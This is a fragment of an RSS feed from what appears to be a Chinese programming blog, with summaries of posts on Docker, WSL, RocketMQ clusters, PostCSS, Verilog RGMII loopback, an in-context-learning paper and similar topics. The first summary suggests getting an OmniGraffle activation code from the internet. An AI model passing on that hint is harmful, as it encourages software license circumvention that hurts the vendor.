      <guid>https://bchobby.github.io/posts/abf63aa5b218c03e0d0d08a50bb4f322/</guid>
      <description>安装 在mac上安装OmniGraffle，找一个正版或者啥的都行，安装好后，可以直接在网上找一个激活码，然后找到软件的许可证，进行添加即可。&#xA;使用 新建空白页&#xA;然后图形啥的看一眼工具栏就知道了，颜色形状还是挺多的。&#xA;输入公式 OmniGraffle不能直接输入公式，可以安装MacTeX(安装包约5G)，官网下载，然后直接安装即可。安装后，会有如下三个软件，点击第一个：&#xA;打开后，输入latex公式即可，最后将公式复制或者直接拖入到OmniGraffle中需要的版面即可.</description>
    </item>
    <item>
      <title>TableStructureRec: 表格结构识别推理库来了</title>
      <link>https://bchobby.github.io/posts/7bd9e3ee4edfa482cc471a4a5ff98540/</link>
      <pubDate>Thu, 23 Nov 2023 22:46:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bd9e3ee4edfa482cc471a4a5ff98540/</guid>
      <description>目录 引言lineless_table_rec: 无线表格识别库安装使用结果 wired_table_rec：有线表格识别库安装使用结果 写在最后 引言 TableStructureRec 仓库是用来对文档中表格做结构化识别的推理库，包括来自 PaddleOCR 的表格结构识别算法模型、来自阿里读光有线和无线表格识别算法模型等。&#xA;该仓库将表格识别前后处理做了完善，并结合 OCR，保证表格识别部分可直接使用。&#xA;该仓库会持续关注表格识别这一领域，集成最新最好用的表格识别算法，争取打造最具有落地价值的表格识别工具库。&#xA;欢迎大家持续关注。&#xA;在这里，我们做的工作主要包括以下两点：&#xA;将模型转换为 ONNX 格式，便于部署完善后处理代码，与 OCR 识别模型整合，可以保证输出结果为完整的表格和对应的内容 lineless_table_rec: 无线表格识别库 lineless_table_rec库源于阿里读光-LORE 无线表格结构识别模型。&#xA;该模型主要解决无线表格结构识别问题，具体包括文档中涉及到一些三线表之类表格结构识别。对于有线的表格支持较差。&#xA;安装 pip install lineless_table_rec 使用 from lineless_table_rec import LinelessTableRecognition engine = LinelessTableRecognition() img_path = &#34;tests/test_files/lineless_table_recognition.jpg&#34; table_str, elapse = engine(img_path) print(table_str) print(elapse) 结果 wired_table_rec：有线表格识别库 wired_table_rec库源于阿里读光-表格结构识别-有线表格。&#xA;该模型主要解决拍照和截屏场景下有线结构识别问题。&#xA;安装 pip install wired_table_rec 使用 from wired_table_rec import WiredTableRecognition table_rec = WiredTableRecognition() img_path = &#34;tests/test_files/wired/table_recognition.jpg&#34; table_str, elapse = table_rec(img_path) print(table_str) print(elapse) 结果 写在最后 目前 PaddleOCR 中表格识别暂未整理到这个仓库中，后续会整理进来。</description>
    </item>
    <item>
      <title>com.baomidou.dynamic.datasource.exception.CannotFindDataSourceException: dynamic-datasource can not</title>
      <link>https://bchobby.github.io/posts/e5d0f80112040039746541d09ca2d507/</link>
      <pubDate>Thu, 23 Nov 2023 22:29:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5d0f80112040039746541d09ca2d507/</guid>
      <description>在我们开发的过程中，可能遇到这种数据源找不到的报错，具体报错示例如下所示：&#xA;导致下面报错的原因是因为在pom文件中引入了多数据源依赖&#xA;&amp;lt;!-- mybatis-plus 多数据源 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dynamic-datasource-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 可能我们自己没有主动引入这个依赖，但是引入别的jar包的时候，被动引入了这个依赖，引入这个依赖，但是我们并没有使用，或者是没有指定primary，在我们执行代码时，涉及数据库操作，例如调用一个查询接口，去查询数据库，就会报这个错&#xA;解决的方式有两种，第一种若是我们不需要使用多数据源，那么我们直接在pom删掉这个依赖即可，第二种，若是我们需要使用多数据源，那么在yaml文件中新增多数据源的配置即可，数据源配置如下：&#xA;spring:&#xA;application:&#xA;name: xxx&#xA;datasource:&#xA;dynamic:&#xA;primary: master&#xA;strict: true&#xA;datasource:&#xA;master:&#xA;url: xxxxx&#xA;username: xxx&#xA;password: xxx</description>
    </item>
    <item>
      <title>前端工程、静态代码、Html页面 打包成nginx 的 docker镜像</title>
      <link>https://bchobby.github.io/posts/9fb346d588b689203ee7fb237c24ef5c/</link>
      <pubDate>Thu, 23 Nov 2023 17:33:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fb346d588b689203ee7fb237c24ef5c/</guid>
      <description>1. 创建一个 mynginx的目录&#xA;2. 将前端代码文件夹（比如叫 front ）复制到 mynginx 目录下&#xA;3. 在mynginx 目录下创建一个名为Dockerfile 的文件（文件名不要改），文件内容如下：&#xA;# 使用官方的 Nginx 镜像作为基础镜像 FROM nginx:latest RUN mkdir -p /app # 将工作目录设置为 /app WORKDIR /app # 将宿主机 front目录下的文件复制到容器的 /app 目录 # 注意这里不要写绝对路径 COPY front/* /app # 删除nginx容器中代码目录中自带的文件 RUN rm /usr/share/nginx/html/* # 将/app 中所有文件复制到 /usr/share/nginx/html/ RUN cp /app/* /usr/share/nginx/html/ # 暴露 80 端口供外部访问 EXPOSE 80 # 容器启动时运行 Nginx CMD [&#34;nginx&#34;, &#34;-g&#34;, &#34;daemon off;&#34;] 一定要注意，COPY 这一步 ，将宿主机上front文件夹中的文件复制到容器中，front目录一定不要写成绝对路径，我之前写的是绝对路径（/opt/myimages/mynginx/front/*）报错如下：&#xA;ERROR: failed to solve: lstat /var/lib/docker/tmp/buildkit-mount2707332014/opt/myimages/mynginx/front: no such file or directory</description>
    </item>
    <item>
      <title>Ubuntu分区空间调整方法</title>
      <link>https://bchobby.github.io/posts/2d45dd4bfa2814f4f718eb38acb377e1/</link>
      <pubDate>Thu, 23 Nov 2023 16:30:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d45dd4bfa2814f4f718eb38acb377e1/</guid>
      <description>由于安装ubuntu系统空间分配不合理，导致使用一段时间后系统/分区空间不足，因此希望在原有数据不丢失的情况下，将/home分区空间转移一部分到/分区。&#xA;搜索一段时间后终于找到了方法，具体步骤如下：&#xA;一、在ubuntu系统中安装gparted 转移空间使用gparted工具，安装命令&#xA;sudo apt-get install gparted 使用sudo gparted启动后，界面如下&#xA;图片来自&#xA;如何使用GParted扩展Ubuntu系统根目录&#xA;可以查看各个分区大小，但带有钥匙图标的分区并不能使用resize来调整大小，因此需要在使用U盘作为启动盘，在ubuntu试用模式中操作&#xA;二、制作ubuntu启动盘 在win系统中操作，参见链接使用UltraISO制作ubuntu安装u盘启动盘图文教程，需要自行下载UltraISO（软碟通)、相应ubuntu系统ISO文件。&#xA;三、重新分配空间 u盘启动盘制作成功后，需要在BIOS中设置BIOS选项，将其设置为U盘启动。&#xA;设置成功并进入ubuntu试用模式后，启动gparted软件，可以发现钥匙图标已经不见了。&#xA;此时可以使用resize来缩小/扩大相应空间，但要注意前后方向，最后apply即可。可参考Ubuntu 分区空间调整 —— gparted的第三部分：gparted使用&#xA;若不清楚各个分区对应挂载点，可以提前使用df、fdisk等命令提前记下名称和大小</description>
    </item>
    <item>
      <title>【论文解读】在上下文中学习创建任务向量</title>
      <link>https://bchobby.github.io/posts/025ced98edb56f27f5bbc43486198838/</link>
      <pubDate>Thu, 23 Nov 2023 14:25:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/025ced98edb56f27f5bbc43486198838/</guid>
      <description>一、简要介绍&#xA;大型语言模型（LLMs）中的上下文学习（ICL）已经成为一种强大的新的学习范式。然而，其潜在的机制仍未被很好地了解。特别是，将其映射到“标准”机器学习框架是具有挑战性的，在该框架中，人们使用训练集S在某些假设类中找到最佳拟合函数f (x)。在这里，论文通过展示ICL学习到的函数通常有一个非常简单的结构：它们对应于transformerLLM，它的唯一输入是查询x和从训练集计算出的单个“任务向量”。因此，ICL可以看作是将S压缩为一个单个的任务向量θ(S)，然后使用这个任务向量来调制transformer以产生输出。论文通过对一系列模型和任务的全面实验来支持上述主张。&#xA;二、研究背景&#xA;大型语言模型在过去的几年中有了显著的改进。这些模型的一个显著特性是，它们可以从很少的演示中学习新的规则。例如，一个模型可以提示输入“苹果→红色，石灰→绿色，玉米→”，并产生输出“黄色”。因此，该模型仅学习了一个基于两个例子的映射，它可以正确地应用于新的例子。这种能力，被称为上下文学习（ICL），已被广泛使用，产生了令人印象深刻的实证结果。&#xA;目前还不清楚ICL是否以这种方式运行，因为预测是通过T（[S，x]）执行的，其中T通常是一个自回归transformer，而[S，x]是S和x中的令牌的连接。因此，在一般情况下，它可以是一个任意的函数，通过这个函数来产生输出。这可以包括“非参数”方法，如最近邻方法。最近的工作已经开始探索这个问题。例如，研究表明，当从头训练transformer在上下文中执行线性回归时，新兴的学习算法类似于随机梯度下降。然而，对于执行更复杂的自然语言任务的LLM，论文根本不清楚假设空间可能是什么。&#xA;论文的观点也与软提示有关，因为这两种方法都针对特定的任务调节transformer的功能。然而，在ICL中，任务向量是通过正向传递来计算的，而不是进行微调。&#xA;论文的贡献包括提出一个基于假设类的ICL机制观点，并进行实验来验证论文对一系列公开的LLM和一组不同的任务的看法。论文的研究结果进一步加深了对ICL的理解，并可能对LLM有效适应执行特定任务具有实际意义。&#xA;三、ICL的假设类视图（A Hypothesis Class View of ICL）&#xA;受学习理论的假设类观点的启发，论文的目标是了解ICL是否将演示集S映射到查询x上的一个函数，以及这个映射是如何发生的。具体来说，论文试图看看ICL是否将S转换为θ——某个假设空间内的函数的“参数”。论文的实证研究结果表明，这一观点是适用的，阐明了假设空间的结构，其中ICL可以被看作是运作的。&#xA;3.1理论框架&#xA;论文使用T表示仅限解码器的transformerLLM，S表示用作ICL输入的演示集（即训练示例）集，x表示要求ICL提供输出的查询。论文使用T（[S，x]）来表示ICL在S和x的连接上的输出。&#xA;为了证明ICL在一个假设空间内运作，论文的目的是证明其潜在的机制可以分为两部分：&#xA;一种“学习算法”（用A表示），它将S映射到一个“任务向量”θ，独立于查询x。考虑到注意层可以同时访问S和x，这种独立性并非简单。&#xA;一个“规则应用程序”（用f表示），它基于θ≡A (S)将查询x映射到输出，而不直接依赖于S。同样，这种独立性并非简单。&#xA;因此，论文考虑从一组演示和查询到预测输出的以下映射：&#xA;3.2一个被提出的假设类&#xA;上述框架有许多可能的实现，它们对应于A和f的不同选择。接下来，论文将描述论文所关注的实现，这自然地遵循transformer架构。论文考虑一个如图1所示的ICL设置，其中输入以一个查询x（即Corn）结束，后面跟着一个“→”符号。如上所述，论文认为学习由两个步骤组成：基于训练样本S计算一个参数向量θ，并将由该参数向量定义的规则应用于查询x。对于transformer来说，一个大概简单的方法是让→表示的第一个L层计算θ，然后让剩下的层将θ和x作为输入并产生一个输出。见图1。回想一下，S和x在任何层都可以访问transformer，这对论文的观点是一个挑战。&#xA;在下面的章节中，作者将解决这个挑战，并提出实验来验证论文的观点。也就是说，论文证明了可以在执行ICL的LLMs的正向传递中隔离A和f。论文还表明，θ向量是可解释的，并对应于学习到的任务。&#xA;四、假设类视图的有效性（Validity of the Hypothesis Class View）&#xA;论文首先证明，将前向传递分离成3.2中定义的两个不同的分量A和f，保持了ICL的高精度。&#xA;4.1分离A和f&#xA;论文在常规的正向传递中面临着一些挑战：首先，对应于A的初始L层，更新→的表示来创建θ，可以处理查询x。因此，它们可能依赖于x，产生θ对x的不必要的依赖。第二，对应于f的其余层可以直接访问S，而不是只使用x和θ。&#xA;4.2任务和模型&#xA;论文考虑了横跨4个类别的18个任务：算法、翻译、语言和事实知识。为简单起见，论文将自己限制在单令牌输出中。在表1中描述了这些任务的一个具有代表性的子集。A.1提供了一个完整的详细表，以及关于数据的更多信息。&#xA;论文使用多个开放LLMs： LLaMA 7B、13B、30B和Pythia 2.8B、6.9B和12B。&#xA;4.3查找L&#xA;论文在3.2中描述的机制有一个自由参数——a结束和f开始的L层。论文使用不同选择L的（A，f）实现，并在开发集上评估准确性，以找到最佳层。&#xA;图3显示了L不同选择的开发集上的精度。论文在这里关注LLaMA模型。有趣的是，所有模型在相似的中间层都表现出性能峰值，而不管它们的参数和层数差异。&#xA;4.4基于假设的预测的准确性&#xA;接下来，论文比较（A，f）机制与执行ICL的准确性。对于每个模型和任务，论文评估了以下三个过程：&#xA;常规：LLM对演示S和查询x的应用程序。即T（[S，x]），如常规ICL。&#xA;假设：论文从4.1中提出的过程，其中A使用一个虚拟x&#39;生成θ，f（·；θ）通过在[x，→]上运行transformer，并在→的L层打θ补丁。&#xA;基线：LLM仅在x上的向前传递，没有演示s，即T（[x，→]）。这与论文分离的程序中f的应用相同，但没有修补θ。&#xA;图4显示了每个模型的所有任务的平均精度。完整的结果将在表6和A.2中报告。在所有模型中，论文的程序保持了常规ICL的80-90%左右的准确性，而基线仅达到10-20%。这表明论文提出的A和f分离提供了ICL的过程很好的经验近似。&#xA;五、任务向量的鲁棒性（Robustness of Task Vectors）&#xA;在论文的设置中，θ来自于S和一个虚拟查询x&#39;。检查θ对这些输入的变化的鲁棒性是很自然的。直观地说，如果它代表任务，它应该在不同的S和x&#39;值之间保持稳定。&#xA;为了验证这一点，论文使用LLaMA 7B生成每个任务50个不同的任务向量，并进行了两次分析。&#xA;θ的几何形状 t-SNE降维（图5）显示，任务向量形成了不同的集群，每个集群都包含单个任务的任务向量。图9进一步显示了同一类别任务之间的接近性，强化了它们封装任务理解的概念。&#xA;θ的可变性 图8显示了任务内和任务之间的距离的直方图。可以看出，同一任务中的向量比不同任务之间的向量更接近，说明θ在任务中是稳定的，不受x&#39;或S的高度影响。&#xA;六、θ补丁的控制（Dominance of θ Patching）&#xA;论文阻止f直接访问S。然而，在ICL的常规向前传递中，最后一个令牌可以注意到S。论文验证了即使在这种情况下，f主要使用任务向量θ，而没有直接访问演示S。论文使用一对任务，a和B，共享输入空间但不同的输出。论文首先使用一个“常规”向前传递，其中论文为模型提供了任务A（表示为SA）的演示S，以验证模型是否可以使用ICL执行这个任务。然后，论文做一个“冲突”向前传递，仍然提供SA，同时注入θB。详见A.1中的图6。&#xA;在表2“常规”向前传递在任务A上显示出较高的准确性（90%+）。然而，“冲突”向前传递在任务B上产生较高的精度，对应于注入的任务向量θ。这意味着该模型主要依赖于θ，在很大程度上忽略了任务A的演示S。论文注意到任务B的准确性略低，可能与图6中看到的性能下降一致，并可能进一步受到S的影响。&#xA;七、解释θ（Interpreting θ）&#xA;学习到的向量θ直观地捕获了关于S所证明的任务的信息。在这里，论文提供了支持这种解释的证据。由于θ是transformer的中间隐藏状态，论文可以使用词汇投影方法。也就是说，论文检查了由隐藏状态引起的词汇表分布中的顶部令牌。</description>
    </item>
    <item>
      <title>Altium Designer学习笔记11</title>
      <link>https://bchobby.github.io/posts/cbcfc5692f2b6a7bbc87c6bf42af3657/</link>
      <pubDate>Thu, 23 Nov 2023 13:09:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbcfc5692f2b6a7bbc87c6bf42af3657/</guid>
      <description>画一个LED的封装：&#xA;使用这个SMD5050的封装。&#xA;我们先看下这个芯片的功能说明：&#xA;5050贴片式发光二极管：&#xA;XL-5050 是单线传输的三通道LED驱动控制芯片，采用的是单极性归零码协议。&#xA;数据再生模块的功能，自动将级联输出的数据整形转发，保证数据串联传输过程不衰减。&#xA;XL-5050 芯片采用自动整形转发技术，使得该芯片的级联个数不受信号传送的限制，仅仅受限刷屏速度要求.例如我们设计一个 1024 级联，它的刷屏时间 1024 X0.4 X2＝ 0.8192ms（芯片的数据延迟时间为0.4 µs），不会有任何闪烁的现象。&#xA;3号引脚是接地的。 查看下外形尺寸：&#xA;我们根据这个尺寸图来画封装图：&#xA;然后将封装库放置到PCB板上。</description>
    </item>
    <item>
      <title>一文叫你如何对css 降级兼容老旧浏览器| postcss 后处理css优雅降级</title>
      <link>https://bchobby.github.io/posts/46e9bf6dcb5f5af1f3b1418c90e76509/</link>
      <pubDate>Thu, 23 Nov 2023 09:46:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46e9bf6dcb5f5af1f3b1418c90e76509/</guid>
      <description> 背景 PostCSS 是一个允许使用 JS 插件转换样式的工具。 这些插件可以检查（lint）你的 CSS，支持 CSS Variables 和 Mixins， 编译尚未被浏览器广泛支持的先进的 CSS 语法，内联图片，以及其它很多优秀的功能。&#xA;PostCSS 在工业界被广泛地应用，其中不乏很多有名的行业领导者，如：维基百科，Twitter，阿里巴巴， JetBrains。PostCSS 的 Autoprefixer 插件是最流行的 CSS 处理工具之一。&#xA;PostCSS 接收一个 CSS 文件并提供了一个 API 来分析、修改它的规则（通过把 CSS 规则转换成一个抽象语法树的方式）。在这之后，这个 API 便可被许多插件利用来做有用的事情，比如寻错或自动添加 CSS vendor 前缀。&#xA;安装 npm install -D postcss postcss-cli postcss-preset-env 编辑配置文件 安装的同级目录下，新建postcss.config.js 并配置如下内容&#xA;const postcssPresetEnv = require(&#39;postcss-preset-env&#39;) module.exports = { plugins: [ postcssPresetEnv(/* 配置的参数 */) ] } 新建src文件夹，并将你需要处理的css放到该目录 如 src/index.css&#xA;cmd 执行命令处理 npx postcss-cli src/index.css -o dist/index.css 参考 postcss github中文文档 </description>
    </item>
    <item>
      <title>模拟量采集----测量输入的电流</title>
      <link>https://bchobby.github.io/posts/e6982637e742798d1a51f153623a831c/</link>
      <pubDate>Thu, 23 Nov 2023 00:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6982637e742798d1a51f153623a831c/</guid>
      <description>生活中的模拟量有很多&#xA;大多都为电压信号和电流信号&#xA;今天讲如何测量输入的电流信号&#xA;通过欧姆定律可知&#xA;电流测量的测量：是将电流加载在固定阻值的电阻上，来测量这个电阻二端的电压&#xA;最后反算出电流的大小&#xA;所用的公式是I=U/R&#xA;我们使用仿真软件来看测量电路&#xA;通过这个电路图的蓝色线可知构成电压跟随器&#xA;通过这个电路图的红色线可知电流大部分通过R4到地&#xA;所以在R4的上端形成1.49V的电压&#xA;6*249/1000=1.494V&#xA;这个1.494V的电压经过49.9和32.4的分压得到587毫伏的电压&#xA;和分压计算的值一致&#xA;根据反相运放的输出公式&#xA;输出电压/输入电压=-（R2/R1）&#xA;将图中的电阻值带入公式中得&#xA;输出电压=（32.4/49.9）*输入电压1.49&#xA;输出电压=1.49*0.649299=967毫伏&#xA;和仿真的结果一致&#xA;同理&#xA;细心的小伙伴可能已经发现输出和输入的电压已经不是倍数关系了&#xA;原因就在于输入的电压已经超过运放的电源电压&#xA;3.72&amp;gt;3.3V&#xA;所以运放输出不到那么高的电压&#xA;接上示波器就可以看到这种情况&#xA;我们将运放的供电电源增加看下&#xA;所以&#xA;最终的仿真电路图如下：&#xA;满量程情况下&#xA;输出等于4.96*0.649299=3.2205V和仿真结果一致&#xA;注意：这个位置的电阻的封装和耐压尤其需要注意哈&#xA;小心成功的点燃一颗电阻！</description>
    </item>
    <item>
      <title>关于WSL安装、修改安装位置、修改镜像源等的记录</title>
      <link>https://bchobby.github.io/posts/1cfe3463c06bf29c07329193d437bc57/</link>
      <pubDate>Wed, 22 Nov 2023 22:06:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1cfe3463c06bf29c07329193d437bc57/</guid>
      <description>文章目录 前言一、安装过程二、更换安装位置1. 查看所有分发版本2. 导出分发版为tar文件到H盘3. 注销当前分发版4. 重新导入并安装分发版在H:\wsl:\ubuntu5. 设置默认登陆用户为安装时用户名（在powershell中输入） 三、更换镜像源1. 进入wsl，再进入该目录2. 复制一份源文件备份3. 更改sources.list中的内容 四. 更改github的访问地址1. 更改hosts文件2. 测试ping通 总结 前言 wsl中ubuntu的安装、更换安装位置、更换镜像源等过程的记录，以供下次安装参考。&#xA;一、安装过程 官方描述的很详细，见设置 WSL 开发环境&#xA;二、更换安装位置 1. 查看所有分发版本 wsl -l -v 2. 导出分发版为tar文件到H盘 wsl --export Ubuntu H:\ubuntu.tar 3. 注销当前分发版 wsl --unregister Ubuntu 4. 重新导入并安装分发版在H:\wsl:\ubuntu wsl --import Ubuntu H:\ubuntu H:\wsl\ubuntu.tar --version 2 完成之后重新进入该分发版。&#xA;5. 设置默认登陆用户为安装时用户名（在powershell中输入） ubuntu config --default-user &amp;lt;你之前的用户名&amp;gt; 三、更换镜像源 1. 进入wsl，再进入该目录 cd /etc/apt/ 2. 复制一份源文件备份 cp -a sources.list sources.backup.list 3. 更改sources.list中的内容 sudo vim sources.</description>
    </item>
    <item>
      <title>Promise.all如果其中之一失败，怎么能够拿到其他成功的结果</title>
      <link>https://bchobby.github.io/posts/d8da2acebc0a516cecbebe7c57eb074b/</link>
      <pubDate>Wed, 22 Nov 2023 20:02:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8da2acebc0a516cecbebe7c57eb074b/</guid>
      <description>Promise.all 的基础介绍 作用：Promise.all()方法用于将多个 Promise 实例，包装成一个新的 Promise 实例。&#xA;参数：由多个Promise实例组成的数组&#xA;const p = Promise.all([p1, p2, p3]); p的状态由p1、p2、p3决定，分成两种情况。&#xA;（1）只有p1、p2、p3的状态都变成fulfilled，p的状态才会变成fulfilled，此时p1、p2、p3的返回值组成一个数组，传递给p的回调函数。&#xA;（2）只要p1、p2、p3之中有一个被rejected，p的状态就变成rejected，此时第一个被reject的实例的返回值，会传递给p的回调函数。&#xA;Demo–Promise.all如果其中之一失败，怎么能够拿到其他成功的结果 该实例的最终结果被Promise.all的catch方法捕获 如果f3没有自己的catch方法，就会调用Promise.all()的catch方法。&#xA;let f1 = new Promise((resolve,reject)=&amp;gt; { setTimeout(()=&amp;gt; { resolve(&#39;f11111&#39;) },2000) }) let f2 = new Promise((resolve,reject)=&amp;gt; { setTimeout(()=&amp;gt; { resolve(&#39;f22222&#39;) },1000) }) let f3 = new Promise((resolve,reject)=&amp;gt; { setTimeout(()=&amp;gt; { reject(&#39;err-f33333&#39;) },3000) }) let a = [f1,f2,f3] // promise.all中的异步请求是并发执行的，但是最终的返回结果是按照最初的顺序执行排列好的 Promise.all(a).then(data=&amp;gt; { console.log(data) }).catch(err=&amp;gt; { console.log(&#39;糟糕出错了&#39;) }) //执行结果：糟糕出错了 如果作为参数的 Promise 实例，自己定义了catch方法，那么它一旦被rejected，并不会触发Promise.</description>
    </item>
    <item>
      <title>rocketmq 集群搭建 rocketmq最新版本集群，rocketmq双主双从异步集群 rocketmq三台机器集群 虚拟机搭建rocketmq5.1.4集群</title>
      <link>https://bchobby.github.io/posts/44910ded4d3bbf710618ce32ec31626b/</link>
      <pubDate>Wed, 22 Nov 2023 17:03:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44910ded4d3bbf710618ce32ec31626b/</guid>
      <description>1. rocketmq 版本：5.1.4&#xA;集群规划：&#xA;介绍：&#xA;2. 准备三台虚拟机机器，分配2g内存。（内存够用可以3g。2g用到了1.7g）：三台机器的/etc/hosts修改 worker1. worker2. worker3&#xA;可查看之前文章设置别名的&#xA;3. ssh免密登录设置,&#xA;可以查看我之前的文章&#xA;# cd ~ # 进入ssh文件夹 如果没有。可以ssh 下别的机器，就会生成 cd .ssh # woker1 设置好之后，就copy到其他机器 # 同理 去设置woker2, worker3 ssh-keygen -t rsa #copy ssh-copy-id worker2 # ssh-copy-id worker3 4. 在上篇文章中，设置了虚拟机的第一台服务器。将其中的rocketmq 文件发送到其他两台服务器；&#xA;5. 文件路径：&#xA;文件路径&#xA;/opt/module/rocketmq-all-5.1.4-bin-release&#xA;# 日志 /opt/module/rocketMQ&#xA;6. worker2机器 broker-a设置：&#xA;# Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership.</description>
    </item>
    <item>
      <title>JavaScript 用循环绑定事件制作tab栏切换 ，点赞加关注更多内容持续更新</title>
      <link>https://bchobby.github.io/posts/fbbbd8ef8fed4ad6be9c6a26cfa5d9ae/</link>
      <pubDate>Wed, 22 Nov 2023 16:46:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbbbd8ef8fed4ad6be9c6a26cfa5d9ae/</guid>
      <description>分享一个用for循环，循环绑定事件事件来制作的tab栏切换模板，用事件委托制作当然也可以&#xA;先来看看效果： 思路： 其实这里面最重要的一个思想就是“排他思想”。意思就是将别人的样式都去除，然后再加上自己的样式，这样就可以实现点击相应的tab栏按钮，其它按钮的样式全部消失，加上自己的样式。&#xA;直接附上全部代码，全部拷贝到自己的编辑器里就可以运行，我这里只是提供一个模板一个实现思路，感兴趣的小伙伴可以拷贝到自己的电脑上，更改样式和内容，实现更丰富的效果。 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;link href=&#34;style.css&#34; rel=&#34;stylesheet&#34; type=&#34;text/css&#34; /&amp;gt; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;style&amp;gt; /* 设置全局样式 */ * { margin: 0; padding: 0; list-style: none; } /* 设置导航条样式 */ ul { width: 500px; height: 50px; margin: 0px auto; } /* 设置内容容器样式 */ ol{ margin: 0px auto; } /* 设置每个导航tab的样式 */ ul li { float: left; width: 100px; height: 50px; line-height: 50px; text-align: center; cursor: pointer; } /* 设置导航tab hover时的样式 */ ul li:hover { background-color: rgb(228, 228, 228); } /* 设置内容项容器的样式 */ ol { width: 500px; height: 100px; } /* 设置每个内容项的样式 */ ol li { display: none; width: 500px; height: 100px; background-color: rgb(238, 238, 238); box-shadow: -5px 5px 5px rgb(197, 197, 197); text-align: center; line-height: 100px; } /* 设置选中tab的样式 */ .</description>
    </item>
    <item>
      <title>RGMII回环：IDDR&#43;ODDR&#43;差分接口</title>
      <link>https://bchobby.github.io/posts/c8fa513c9600711176cc80cf5877f859/</link>
      <pubDate>Wed, 22 Nov 2023 15:35:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8fa513c9600711176cc80cf5877f859/</guid>
      <description>目录 一、实验内容二、原理解释三、程序1、顶层文件：2、子模块2.1 oddr模块2.2、iddr顶层模块2.3、iddr子模块 3、仿真4、注意5、下载工程及仿真 一、实验内容 1、通过IDDR和ODDR的方式完成RGMII协议；&#xA;2、外部接口使用OBUFDS、IBUFDS转换成差分接口；&#xA;3、数据转换及传输：顶层文件自己产生100次数，每个数都是8bit，传给oddr模块，oddr模块经过转换再传出4bit，这4bit数据再输出到外部（仿真的时候，可以接到输入，实际板测可以用跳线帽短接，也可以传给另一块板子，进行回环实验），4bit数据重新从顶层输入到iddr模块，iddr模块经过转换，输出8bit数据，输出到外部。&#xA;二、原理解释 本实验参考了部分文章，一些原理请直接看以下文章：&#xA;1、VIVADO IDDR与ODDR原语的使用&#xA;2、Xilinx 差分信号 LVDS传输实战&#xA;三、程序 1、顶层文件： 这里面的diff定义=lvds，之所以定义成diff，是老大说这样对于IO的适用范围更大。&#xA;顶层模块例化了一个iddr_top模块，一个PLL模块（输入50mhz系统时钟，输出125mhz高速时钟采集数据），一个oddr模块。&#xA;`timescale 1ns / 1ps module I_ODDR_ETH_DIFF_TOP( //System Interfaces input sclk , input rst_n , input rx_clk_p ,//IDDR IN CLK input rx_clk_n ,//IDDR IN CLK input [ 3:0] rx_data_p ,//IDDR IN DATA input [ 3:0] rx_data_n ,//IDDR IN DATA output tx_clk_p ,//ODDR CLK output tx_clk_n ,//ODDR CLK output [ 3:0] tx_data_p ,//ODDR DATA output [ 3:0] tx_data_n ,//ODDR DATA output gb_out_clk_p ,//IDDR OUT CLK output gb_out_clk_n ,//IDDR OUT CLK output [ 7:0] gb_out_data_p ,//IDDR OUT DATA output [ 7:0] gb_out_data_n //IDDR OUT DATA ); wire [3:0] rx_data; wire [3:0] tx_data; reg [ 7:0] gb_tx_data ; wire phy_rst_n ; wire tx_data_ctrl ; reg gb_tx_data_en ; reg [ 7:0] gb_tx_cnt ; wire gb_tx_clk ; wire gb_out_clk ; wire [7:0] gb_out_data ; clk_wiz_1 clk_wiz_1_inst ( // Clock out ports .</description>
    </item>
    <item>
      <title>基于融合多策略的混沌灰狼搜索算法MSGWO求解单目标优化问题cec2005函数测试附matlab代码 论文实验报告皆可参考</title>
      <link>https://bchobby.github.io/posts/fe83711c7b51caa3a27cd067308cb132/</link>
      <pubDate>Wed, 22 Nov 2023 12:34:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe83711c7b51caa3a27cd067308cb132/</guid>
